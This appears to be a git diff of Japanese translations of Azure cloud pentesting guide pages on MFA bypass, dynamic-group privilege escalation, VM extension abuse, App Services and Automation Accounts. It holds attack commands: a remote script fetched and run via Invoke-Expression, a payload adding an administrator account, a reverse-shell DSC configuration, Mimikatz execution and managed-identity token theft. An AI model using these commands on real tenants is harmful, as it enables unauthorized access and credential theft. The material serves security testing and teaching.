+ツール[**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken)も同様の目的で使用される可能性がありますが、メンテナンスされていないようです。 -ツール [**ROPCI**](https://github.com/wunderwuzzi23/ropci) もこの保護をテストし、MFAやブロックをバイパスできるかどうかを確認するために使用できますが、このツールは**ホワイトボックス**の視点から動作します。最初にテナントで許可されているアプリのリストをダウンロードし、その後それらにログインしようとします。 +ツール[**ROPCI**](https://github.com/wunderwuzzi23/ropci)もこの保護をテストし、MFAやブロックをバイパスできるかどうかを確認するために使用できますが、このツールは**ホワイトボックス**の視点から動作します。最初にテナントで許可されているアプリのリストをダウンロードし、その後それらにログインしようとします。 ## その他のAz MFAバイパス ### 着信音 -Azure MFAのオプションの1つは、**設定された電話番号に電話を受ける**ことで、ユーザーに**文字 `#` を送信するように求められます**。 +Azure MFAのオプションの1つは、**設定された電話番号に電話を受ける**ことで、ユーザーに**文字`#`を送信するように求められます**。 > [!CAUTION] -> 文字は単なる**トーン**であるため、攻撃者は**ボイスメール**メッセージを妥協し、メッセージとして**`#` のトーン**を設定し、その後MFAを要求する際に**被害者の電話が通話中であることを確認**することで、Azureの通話がボイスメールにリダイレクトされるようにすることができます。 +> 文字は単なる**トーン**であるため、攻撃者は**ボイスメール**メッセージを電話番号のメッセージとして**妥協**し、メッセージとして**`#`のトーン**を設定し、MFAを要求する際に**被害者の電話が通話中であることを確認**することで、Azureの通話がボイスメールにリダイレクトされるようにすることができます。 ### 準拠デバイス -ポリシーはしばしば準拠デバイスまたはMFAを要求するため、**攻撃者は準拠デバイスを登録し**、**PRT**トークンを取得し、**この方法でMFAをバイパスすることができます**。 +ポリシーはしばしば準拠デバイスまたはMFAを要求するため、**攻撃者は準拠デバイスを登録し**、**PRT**トークンを取得し、**この方法でMFAをバイパスする**ことができます。 -まず、**Intuneに準拠デバイスを登録**し、その後**PRTを取得**します: -```powershell +まず、**Intuneに準拠デバイスを登録**し、次に**PRTを取得**します: +```bash $prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\.pfx -Credentials $credentials $prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce @@ -104,9 +104,9 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken ### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) -このスクリプトは、いくつかのユーザー資格情報を取得し、いくつかのアプリケーションにログインできるかどうかを確認します。 +このスクリプトはユーザーの資格情報を取得し、いくつかのアプリケーションにログインできるかどうかを確認します。 -これは、後で**特権を昇格させるために悪用する可能性のあるアプリケーションにログインするためにMFAが**必要ないかどうかを確認するのに役立ちます。 +これは、後で**特権を昇格させるために悪用する可能性のあるアプリケーションにログインする際にMFAが**必要ないかどうかを確認するのに役立ちます。 ### [roadrecon](https://github.com/dirkjanm/ROADtools) @@ -116,7 +116,7 @@ roadrecon plugin policies ``` ### [Invoke-MFASweep](https://github.com/dafthack/MFASweep) -MFASweepは、**提供された資格情報を使用してさまざまなMicrosoftサービスにログインし、MFAが有効かどうかを特定しようとするPowerShellスクリプトです**。条件付きアクセス ポリシーやその他の多要素認証設定がどのように構成されているかによって、一部のプロトコルは単一要素のまま残る可能性があります。また、ADFS構成の追加チェックがあり、検出された場合はオンプレミスのADFSサーバーにログインしようとすることもできます。 +MFASweepは、**提供された資格情報を使用してさまざまなMicrosoftサービスにログインし、MFAが有効かどうかを特定しようとするPowerShellスクリプトです**。条件付きアクセスポリシーやその他の多要素認証設定がどのように構成されているかによって、一部のプロトコルは単一要素のまま残る可能性があります。また、ADFS構成の追加チェックがあり、検出された場合はオンプレミスのADFSサーバーにログインしようとすることもできます。 ```bash Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content Invoke-MFASweep -Username -Password @@ -141,20 +141,20 @@ Donkey tokenは、Conditional Access Policiesを検証する必要があるセ Import-Module '.\donkeytoken' -Force -**各ポータルをテスト**して、**MFAなしでログインできるか**確認します: -```powershell +**各ポータルをテスト**して、**MFAなしでログインできるか**確認します: +```bash $username = "conditional-access-app-user@azure.training.hacktricks.xyz" $password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential($username, $password) Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue ``` -**Azure** **ポータル**は**制約されていない**ため、**前回の実行で検出された任意のサービスにアクセスするためにポータルエンドポイントからトークンを取得することが可能です**。この場合、Sharepointが特定され、そのアクセスのためのトークンが要求されます: -```powershell +**Azure** **ポータル**は**制約されていない**ため、**前回の実行で検出された任意のサービスにアクセスするためにポータルエンドポイントからトークンを取得することが可能です**。この場合、Sharepointが特定され、そのアクセス用のトークンが要求されます: +```bash $token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune Read-JWTtoken -token $token.access_token ``` トークンが Sites.Read.All (Sharepoint から) の権限を持っていると仮定すると、MFA のためにウェブから Sharepoint にアクセスできなくても、生成されたトークンを使用してファイルにアクセスすることが可能です: -```powershell +```bash $data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl ``` ## 参考文献 diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md index 1387314bf..0b9b75d02 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md @@ -4,26 +4,26 @@ ## 基本情報 -**Dynamic groups** は、設定された一連の **rules** を持つグループであり、ルールに一致するすべての **users or devices** がグループに追加されます。ユーザーまたはデバイスの **attribute** が **changed** されるたびに、動的ルールが **rechecked** されます。そして、新しい **rule** が **created** されると、すべてのデバイスとユーザーが **checked** されます。 +**Dynamic groups**は、設定された一連の**rules**を持つグループであり、ルールに一致するすべての**users or devices**がグループに追加されます。ユーザーまたはデバイスの**attribute**が**changed**されるたびに、動的ルールが**rechecked**されます。また、**new rule**が**created**されると、すべてのデバイスとユーザーが**checked**されます。 -Dynamic groups には **Azure RBAC roles** を割り当てることができますが、**AzureAD roles** を動的グループに追加することは **not possible** です。 +Dynamic groupsには**Azure RBAC roles**を割り当てることができますが、**AzureAD roles**を動的グループに追加することは**not possible**です。 -この機能には Azure AD プレミアム P1 ライセンスが必要です。 +この機能にはAzure ADプレミアムP1ライセンスが必要です。 ## Privesc -デフォルトでは、任意のユーザーが Azure AD でゲストを招待できるため、動的グループの **rule** が **attributes** に基づいてユーザーに **permissions** を与える場合、新しい **guest** でこの属性を **set** することで **create a guest** し、**escalate privileges** することが可能です。また、ゲストは自分のプロフィールを管理し、これらの属性を変更することも可能です。 +デフォルトでは、任意のユーザーがAzure ADでゲストを招待できるため、動的グループの**rule**が**attributes**に基づいてユーザーに**permissions**を与える場合、新しい**guest**でこの属性を**set**することで**create a guest**し、**escalate privileges**することが可能です。また、ゲストは自分のプロフィールを管理し、これらの属性を変更することも可能です。 動的メンバーシップを許可するグループを取得します: **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`** ### 例 - **Rule example**: `(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")` -- **Rule description**: 'security' という文字列を含む二次メールを持つゲストユーザーはグループに追加されます。 +- **Rule description**: 'security'という文字列を含む二次メールを持つゲストユーザーはグループに追加されます。 -ゲストユーザーのメールで招待を受け入れ、[https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView) で **that user** の現在の設定を確認します。\ +ゲストユーザーのメールで招待を受け入れ、[https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView)で**that user**の現在の設定を確認します。\ 残念ながら、ページでは属性値を変更することができないため、APIを使用する必要があります。 -```powershell +```bash # Login with the gust user az login --allow-no-subscriptions diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md index 899894ece..6f8e1f1e3 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md @@ -12,7 +12,7 @@ Azure Virtual Machines と Network に関する詳細情報は、以下を確認 ### **`Microsoft.Compute/virtualMachines/extensions/write`** -この権限は、仮想マシン内で拡張機能を実行することを許可し、**任意のコードを実行することができます**。\ +この権限は、仮想マシン内で拡張機能を実行することを許可し、**任意のコードを実行することを可能にします**。\ VM内で任意のコマンドを実行するためにカスタム拡張機能を悪用する例: {{#tabs }} @@ -79,7 +79,7 @@ az vm extension set \ 他のペイロードを実行することもできます: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` - VMAccess拡張機能を使用してパスワードをリセットする -```powershell +```bash # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Name "myVMAccess" -Credential $cred @@ -94,7 +94,7 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na VMAccess 拡張機能 この拡張機能は、Windows VM内のユーザーのパスワードを変更する(または存在しない場合は作成する)ことを可能にします。 -```powershell +```bash # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Name "myVMAccess" -Credential $cred @@ -106,7 +106,7 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na DesiredConfigurationState (DSC) これは、Azure Windows VMの構成を管理するためにPowerShell DSCを使用するMicrosoftに属する**VM拡張**です。したがって、この拡張を通じてWindows VMで**任意のコマンドを実行**するために使用できます: -```powershell +```bash # Content of revShell.ps1 Configuration RevShellConfig { Node localhost { @@ -310,7 +310,7 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt ## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` -これらはすべて、**特定の管理されたIDを持つVMを作成し、**ポートを開いたままにする**ために必要な権限です(この場合は22)。これにより、ユーザーはVMを作成し、それに接続して**管理されたIDトークンを盗む**ことで権限を昇格させることができます。 +これらは、**特定の管理対象IDを持つVMを作成し、**ポートを開いたままにする**ために必要な権限です(この場合は22)。これにより、ユーザーはVMを作成し、それに接続して**管理対象IDトークンを盗む**ことで権限を昇格させることができます。 状況に応じて、この技術を悪用するために必要な権限は多かれ少なかれ異なる場合があります。 ```bash @@ -351,6 +351,6 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/ ### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action -[**ドキュメント**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute)によると、この権限は、管理者としてWindows Admin Centerを介してリソースのOSを管理することを許可します。したがって、これはVMを制御するためのWACへのアクセスを提供するようです... +[**ドキュメント**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute)によると、この権限は、Windows Admin Centerを介してリソースのOSを管理することを許可します。したがって、これはWACにアクセスしてVMを制御することを可能にするようです... {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/README.md b/src/pentesting-cloud/azure-security/az-services/README.md index 6fc561cd6..437cbf5d7 100644 --- a/src/pentesting-cloud/azure-security/az-services/README.md +++ b/src/pentesting-cloud/azure-security/az-services/README.md @@ -12,8 +12,8 @@ **IDENTITY_HEADER** と **IDENTITY_ENDPOINT** から **access_token** を取得します: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`。 -次に、Azure REST APIをクエリして **subscription ID** などを取得します。 -```powershell +次に、Azure REST APIにクエリを送信して **subscription ID** などを取得します。 +```bash $Token = 'eyJ0eX..' $URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01' # $URI = 'https://graph.microsoft.com/v1.0/applications' @@ -30,7 +30,7 @@ Headers = @{ $URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resources?api-version=2020-10-01' $URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups//providers/Microsoft.Compute/virtualMachines/ [!WARNING] -> これらの隔離は、他の一般的な**ウェブ脆弱性**(ファイルアップロードやインジェクションなど)を**防ぐものではありません**。また、**管理アイデンティティ**が使用されている場合、それに**権限を昇格させる**ことができる可能性があります。 +> これらの隔離は、他の一般的な**ウェブ脆弱性**(ファイルアップロードやインジェクションなど)を**防ぐものではありません**。また、**管理アイデンティティ**が使用される場合、それに**権限を昇格させる**ことができる可能性があります。 アプリにはいくつかの興味深い設定があります: @@ -28,9 +28,9 @@ Azure App Servicesは、開発者が**ウェブアプリケーション、モバ ## Basic Authentication -ウェブアプリ(通常はAzure関数)を作成する際に、**Basic Authenticationを有効にするかどうかを指定できます**(デフォルトでは無効)。これは基本的に、アプリケーションのために**SCM(ソースコントロールマネージャー)およびFTP(ファイル転送プロトコル)**を有効にすることを意味し、これらの技術を使用してアプリケーションを展開できるようになります。 +ウェブアプリ(通常はAzure関数)を作成する際に、**Basic Authenticationを有効にするかどうかを指定**できます(デフォルトでは無効)。これは基本的に、アプリケーションのために**SCM(ソースコントロールマネージャー)とFTP(ファイル転送プロトコル)**を有効にするもので、これらの技術を使用してアプリケーションをデプロイできるようになります。 -SCMおよびFTPサーバーにアクセスするには、**ユーザー名とパスワード**が必要です。したがって、Azureはこれらのプラットフォームへの**URLを取得するためのAPI**を提供しています。 +SCMおよびFTPサーバーにアクセスするには、**ユーザー名とパスワード**が必要です。したがって、AzureはこれらのプラットフォームへのURLと資格情報を取得するための**APIを提供**しています。 **FTPサーバーには特別な魔法はありません**。有効なURL、ユーザー名、パスワードがあれば、接続してアプリ環境に対する読み取りおよび書き込み権限を取得できます。 @@ -39,7 +39,7 @@ SCM ### Kudu -Kuduは、**SCMとアプリサービスを管理するためのウェブおよびAPIインターフェースの両方を管理するプラットフォーム**であり、Gitベースのデプロイメント、リモートデバッグ、およびファイル管理機能を提供します。ウェブアプリで定義されたSCM URLを通じてアクセスできます。 +Kuduは、**SCMとアプリサービスを管理するためのウェブおよびAPIインターフェース**の両方を管理し、Gitベースのデプロイメント、リモートデバッグ、ファイル管理機能を提供するプラットフォームです。ウェブアプリで定義されたSCM URLを通じてアクセスできます。 App ServicesとFunction Appsで使用されるKuduのバージョンは異なり、Function Appsのバージョンははるかに制限されています。 @@ -49,7 +49,7 @@ Kuduで見つけることができるいくつかの興味深いエンドポイ - この環境は**トークンを取得するためのメタデータサービスにアクセスできません**。 - `/webssh/host`: アプリが実行されているコンテナ内に接続できるウェブベースのSSHクライアントです。 - この環境は、割り当てられた管理アイデンティティからトークンを取得するための**メタデータサービスにアクセスできます**。 -- `/Env`: システム、アプリ設定、環境変数、接続文字列、およびHTTPヘッダーに関する情報を取得します。 +- `/Env`: システム、アプリ設定、環境変数、接続文字列、HTTPヘッダーに関する情報を取得します。 - `/wwwroot/`: ウェブアプリのルートディレクトリです。ここからすべてのファイルをダウンロードできます。 さらに、Kuduは以前は[https://github.com/projectkudu/kudu](https://github.com/projectkudu/kudu)でオープンソースでしたが、プロジェクトは非推奨となり、Azureの現在のKuduの動作と古いものを比較すると、**すでにいくつかのことが変更されている**ことがわかります。 @@ -70,31 +70,7 @@ App Servicesは、デフォルトでコードをzipファイルとしてアッ ## Webjobs -Azure WebJobsは、**Azure App Service環境で実行されるバックグラウンドタスク**です。これにより、開発者はウェブアプリケーションと並行してスクリプトやプログラムを実行でき、ファイル処理、データ処理、またはスケジュールされたタスクなどの非同期または時間集約型の操作を簡単に処理できます。 -ウェブジョブには2種類あります: -- **継続的**: 無限にループで実行され、作成されるとすぐにトリガーされます。常に処理が必要なタスクに最適です。ただし、Always Onが無効になっていて、過去20分間リクエストを受信していない場合、アプリが停止するとウェブジョブも停止します。 -- **トリガー**: オンデマンドまたはスケジュールに基づいて実行されます。バッチデータの更新やメンテナンスルーチンなどの定期的なタスクに最適です。 - -ウェブジョブは、環境内で**コードを実行**し、接続された管理アイデンティティに**権限を昇格させる**ために使用できる可能性があるため、攻撃者の視点から非常に興味深いです。 - -さらに、ウェブジョブによって生成された**ログ**を確認することは常に興味深いです。これには**機密情報**が含まれている可能性があります。 - -## Slots - -Azure App Service Slotsは、**同じApp Serviceに異なるバージョンのアプリケーションをデプロイするために使用されます**。これにより、開発者は新しい機能や変更を本番環境にデプロイする前に別の環境でテストできます。 - -さらに、特定のスロットに**トラフィックの割合をルーティング**することが可能で、これはA/Bテストや**バックドア目的**に便利です。 - -## Azure Function Apps - -基本的に**Azure Function AppsはAzure App Serviceのサブセット**であり、ウェブコンソールに表示されます。ウェブコンソールにアクセスしてすべてのアプリサービスをリスト表示するか、az cliで`az webapp list`を実行すると、**Function Appsもそこにリストされているのが見えます**。 - -したがって、両方のサービスは実際にはほとんど**同じ設定、機能、およびaz cliのオプションを持っています**が、アプリ設定のデフォルト値やFunction Appsでのストレージアカウントの使用など、少し異なる方法で構成される場合があります。 - -## Enumeration - -{{#tabs }} -{{#tab name="az" }} +Azure WebJobsは、**Azure App Service環境で実行されるバックグラウンドタスク**です。これにより、開発者はウェブアプリケーションと並行してスクリプトやプログラムを実行でき、ファイル処理、データ処理、スケジュールされたタ ```bash # List webapps az webapp list @@ -180,7 +156,7 @@ az webapp hybrid-connections list --name --resource-group {{#endtab }} {{#tab name="Az Powershell" }} -```powershell +```bash # Get App Services and Function Apps Get-AzWebApp # Get only App Services @@ -238,7 +214,7 @@ cd msdocs-python-flask-webapp-quickstart # Create webapp from this code az webapp up --runtime PYTHON:3.9 --sku B1 --logs ``` -SCMポータルにログインするか、FTP経由でログインすると、`/wwwroot`にウェブアプリのコードを含む圧縮ファイル`output.tar.gz`が表示されます。 +SCMポータルにログインするか、FTP経由でログインすると、`/wwwroot`にウェブアプリのコードを含む圧縮ファイル`output.tar.gz`が見えます。 > [!TIP] > FTP経由で接続して`output.tar.gz`ファイルを変更するだけでは、ウェブアプリで実行されるコードを変更するには不十分です。 @@ -253,7 +229,7 @@ SCMポータルにログインするか、FTP経由でログインすると、`/ 2. Azureで新しいPython Webアプリを作成します。 3. `Deployment Center`でソースを変更し、Githubでログインし、フォークしたリポジトリを選択して`Save`をクリックします。 -前のケースと同様に、SCMポータルにログインするか、FTP経由でログインすると、`/wwwroot`にウェブアプリのコードを含む圧縮ファイル`output.tar.gz`が表示されます。 +前のケースと同様に、SCMポータルにログインするか、FTP経由でログインすると、`/wwwroot`にウェブアプリのコードを含む圧縮ファイル`output.tar.gz`が見えます。 > [!TIP] > FTP経由で接続して`output.tar.gz`ファイルを変更し、デプロイメントを再トリガーするだけでは、ウェブアプリで実行されるコードを変更するには不十分です。 diff --git a/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md b/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md index 086992d41..a0fd6deea 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md +++ b/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md @@ -20,7 +20,7 @@ Azure Active DirectoryのApplication Proxyは、**オンプレミスのWebアプ 6. **レスポンス**はコネクタとApplication Proxyサービスを通じて**ユーザーに送信されます**。 ## 列挙 -```powershell +```bash # Enumerate applications with application proxy configured Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md b/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md index 47e4c09ac..d7ab52413 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md +++ b/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md @@ -1,19 +1,19 @@ -# Az - ARM テンプレート / デプロイメント +# Az - ARM Templates / Deployments {{#include ../../../banners/hacktricks-training.md}} ## 基本情報 -[ドキュメントから:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) **Azure ソリューションのためのコードとしてのインフラストラクチャを実装する**には、Azure Resource Manager テンプレート (ARM テンプレート) を使用します。テンプレートは、プロジェクトのための **インフラストラクチャ** と構成を **定義** する JavaScript Object Notation (**JSON**) ファイルです。テンプレートは宣言型構文を使用しており、作成するためのプログラミングコマンドのシーケンスを書くことなく、デプロイする意図を述べることができます。テンプレート内では、デプロイするリソースとそれらのリソースのプロパティを指定します。 +[From the docs:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) **Azureソリューションのためのコードとしてのインフラストラクチャを実装する**には、Azure Resource Managerテンプレート(ARMテンプレート)を使用します。テンプレートは、プロジェクトの**インフラストラクチャ**と構成を**定義**するJavaScript Object Notation(**JSON**)ファイルです。テンプレートは宣言型構文を使用しており、作成するためのプログラミングコマンドのシーケンスを書くことなく、デプロイする意図を述べることができます。テンプレート内では、デプロイするリソースとそれらのリソースのプロパティを指定します。 ### 歴史 -アクセスできる場合、将来デプロイされる可能性のある **リソースに関する情報** を得ることができます。さらに、**機密情報** を含む **パラメータ** が "**String**" としてマークされている場合、**SecureString** の代わりに、**平文** で存在します。 +アクセスできる場合、将来デプロイされる可能性のある**リソースに関する情報**を取得できます。さらに、**機密情報**を含む**パラメータ**が「**String**」としてマークされている場合、「**SecureString**」の代わりに、**平文**で存在します。 ## 機密情報の検索 -`Microsoft.Resources/deployments/read` および `Microsoft.Resources/subscriptions/resourceGroups/read` の権限を持つユーザーは、**デプロイメント履歴を読み取る**ことができます。 -```powershell +`Microsoft.Resources/deployments/read`および`Microsoft.Resources/subscriptions/resourceGroups/read`の権限を持つユーザーは、**デプロイメント履歴を読み取る**ことができます。 +```bash Get-AzResourceGroup Get-AzResourceGroupDeployment -ResourceGroupName diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md index cc9a9a3fd..c0859197c 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md +++ b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md @@ -4,51 +4,51 @@ ## 基本情報 -Azure Automation Accountsは、Microsoft Azureのクラウドベースのサービスで、リソース管理、構成、更新などの**タスクを自動化**するのに役立ちます。これにより、Azureおよびオンプレミス環境全体での効率と一貫性が向上します。**Runbooks**(実行される自動化用のスクリプト)、**スケジュール**、および**ハイブリッドワーカーグループ**を提供し、自動化**ジョブ**を実行します。 +Azure Automation Accountsは、Microsoft Azureのクラウドベースのサービスで、リソース管理、構成、更新などのタスクを**自動化**するのに役立ちます。これにより、Azureおよびオンプレミス環境全体での効率と一貫性を向上させるためのインフラストラクチャをコード(IaC)として提供し、プロセスの自動化を可能にします。 ### 設定 -- **資格情報**: パスワードは自動化アカウント内のRunbook内でのみアクセス可能で、**ユーザー名とパスワードを安全に保存する**ために使用されます。 -- **変数**: Runbookで使用できる**構成データ**を保存するために使用されます。これにはAPIキーなどの機密情報も含まれる可能性があります。変数が**暗号化されて保存されている**場合、それは自動化アカウント内のRunbook内でのみ利用可能です。 -- **証明書**: Runbookで使用できる**証明書**を保存するために使用されます。 +- **資格情報**: パスワードは自動化アカウント内のランブック内でのみアクセス可能で、**ユーザー名とパスワードを安全に保存する**ために使用されます。 +- **変数**: ランブックで使用できる**構成データ**を保存するために使用されます。これにはAPIキーなどの機密情報も含まれる可能性があります。変数が**暗号化されて保存されている**場合、それは自動化アカウント内のランブック内でのみ利用可能です。 +- **証明書**: ランブックで使用できる**証明書**を保存するために使用されます。 - **接続**: 外部サービスへの**接続情報**を保存するために使用されます。これには**機密情報**が含まれる可能性があります。 - **ネットワークアクセス**: **公開**または**プライベート**に設定できます。 -### Runbooks & Jobs +### ランブックとジョブ -Azure AutomationのRunbookは、クラウド環境内で**タスクを自動的に実行するスクリプト**です。RunbookはPowerShell、Python、またはグラフィカルエディタで記述できます。これにより、VM管理、パッチ適用、コンプライアンスチェックなどの管理タスクを自動化できます。 +Azure Automationのランブックは、クラウド環境内でタスクを**自動的に実行するスクリプト**です。ランブックはPowerShell、Python、またはグラフィカルエディタで記述できます。これにより、VM管理、パッチ適用、コンプライアンスチェックなどの管理タスクを自動化できます。 -**Runbooks**内の**コード**には**機密情報**(資格情報など)が含まれる可能性があります。 +**ランブック**内の**コード**には**機密情報**(資格情報など)が含まれる可能性があります。 -**ジョブはRunbook実行のインスタンス**です。Runbookを実行すると、実行を追跡するためにジョブが作成されます。各ジョブには以下が含まれます: +**ジョブはランブック実行のインスタンス**です。ランブックを実行すると、実行を追跡するためにジョブが作成されます。各ジョブには以下が含まれます: - **ステータス**: キュー待ち、実行中、完了、失敗、保留。 -- **出力**: Runbook実行の結果。 -- **開始および終了時間**: ジョブが開始および完了した時間。 +- **出力**: ランブック実行の結果。 +- **開始時刻と終了時刻**: ジョブが開始された時刻と完了した時刻。 -ジョブには**Runbook**実行の**出力**が含まれます。**ジョブ**を**読む**ことができる場合は、**出力**に**機密情報**が含まれている可能性があるため、必ず行ってください。 +ジョブには**ランブック**実行の**出力**が含まれています。**ジョブ**を**読み取る**ことができる場合は、**実行の出力**(潜在的な**機密情報**)が含まれているため、必ず行ってください。 -### スケジュール & Webhooks +### スケジュールとウェブフック -Runbookを実行する主な方法は3つあります: +ランブックを実行する主な方法は3つあります: -- **スケジュール**: 特定の**時間**または**間隔**でRunbookを**トリガー**するために使用されます。 -- **Webhooks**: 外部サービスからRunbookを**トリガー**するために使用できる**HTTPエンドポイント**です。作成後、Webhook URLは**表示されません**。 -- **手動トリガー**: AzureポータルおよびCLIからRunbookを**手動でトリガー**できます。 +- **スケジュール**: 特定の**時間**または**間隔**でランブックを**トリガー**するために使用されます。 +- **ウェブフック**: 外部サービスからランブックを**トリガー**するために使用できる**HTTPエンドポイント**です。作成後、ウェブフックURLは**表示されません**。 +- **手動トリガー**: AzureポータルおよびCLIからランブックを**手動でトリガー**できます。 ### ソース管理 -**Github、Azure Devops (Git)、およびAzure Devops (TFVC)**からRunbooksをインポートできます。リポジトリのRunbooksをAzure Automationアカウントに公開するように指示することができ、リポジトリからAzure Automationアカウントへの**変更の同期**を指示することも可能です。 +**Github、Azure Devops (Git)、およびAzure Devops (TFVC)**からランブックをインポートすることができます。リポジトリのランブックをAzure Automationアカウントに公開するように指示することも、リポジトリからAzure Automationアカウントに**変更を同期**するように指示することも可能です。 -同期が有効になっている場合、**GithubリポジトリにWebhookが作成され**、プッシュイベントが発生するたびに同期がトリガーされます。Webhook URLの例: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d` +同期が有効になっている場合、**Githubリポジトリにウェブフックが作成され**、プッシュイベントが発生するたびに同期がトリガーされます。ウェブフックURLの例: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d` -これらのWebhookは、Githubリポジトリに関連付けられたRunbooksのWebhookをリストする際に**表示されません**。また、作成後にソース管理のリポジトリURLを**変更することはできません**。 +これらのウェブフックは、Githubリポジトリに関連付けられたランブックのウェブフックをリストする際に**表示されません**。また、作成後にソース管理のリポジトリURLを**変更することはできません**。 構成されたソース管理が機能するためには、**Azure Automation Account**に**`Contributor`**ロールを持つマネージドアイデンティティ(システムまたはユーザー)が必要です。さらに、Automation Accountにユーザーマネージドアイデンティティを割り当てるには、変数**`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**にユーザーMIのクライアントIDを指定する必要があります。 ### ランタイム環境 -Runbookを作成する際に、ランタイム環境を選択できます。デフォルトでは、以下のランタイム環境が利用可能です: +ランブックを作成する際に、ランタイム環境を選択することができます。デフォルトでは、以下のランタイム環境が利用可能です: - **Powershell 5.1** - **Powershell 7.1** @@ -57,32 +57,32 @@ Runbookを作成する際に、ランタイム環境を選択できます。デ - **Python 3.8** - **Python 2.7** -ただし、これらのいずれかをベースにして**独自の環境を作成する**ことも可能です。Pythonの場合、使用する環境に`.whl`パッケージをアップロードできます。PowerShellの場合、ランタイムに必要なモジュールを含む`.zip`パッケージをアップロードできます。 +ただし、これらのいずれかをベースにして**独自の環境を作成する**ことも可能です。Pythonの場合、使用する環境に`.whl`パッケージをアップロードすることができます。PowerShellの場合、ランタイムで使用するモジュールを含む`.zip`パッケージをアップロードすることができます。 ### ハイブリッドワーカーグループ -Azure Automationでは、Runbookのデフォルトの実行環境は**Azure 